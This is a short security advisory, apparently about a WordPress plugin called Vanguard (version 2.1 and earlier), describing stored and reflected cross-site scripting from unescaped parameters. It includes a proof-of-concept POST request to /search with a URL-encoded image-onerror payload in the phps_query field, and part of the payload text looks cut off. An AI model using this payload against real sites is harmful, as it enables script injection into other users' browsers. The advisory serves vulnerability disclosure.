Vanguard <= 2.1 - Multiple Cross-Site Scripting (XSS)

The plugin does not sanitise, validate or escape some of its parameters before outputting the back in various place, leading to either Stored or Reflected Cross-Site Scripting issues

PoC

Put the following payload in the In Products Search box: "> POST /search HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 82 Connection: close Upgrade-Insecure-Requests: 1 phps_query=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%28%2FXSS%2F%29%3B%3E&phps;_search=